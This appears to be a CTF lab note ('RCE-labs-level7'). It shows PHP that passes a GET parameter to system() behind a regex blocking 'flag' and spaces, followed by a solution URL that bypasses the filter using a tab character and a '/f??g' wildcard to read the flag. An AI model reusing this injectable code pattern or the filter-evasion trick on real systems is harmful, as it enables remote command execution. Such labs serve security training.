RCE-labs-level7

function hello_shell($cmd){
    if(preg_match("/flag| /", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

http://80-cb3270bb-2833-4296-90e6-2023d27523b8.challenge.ctfplus.cn/?cmd=cat%09/f??g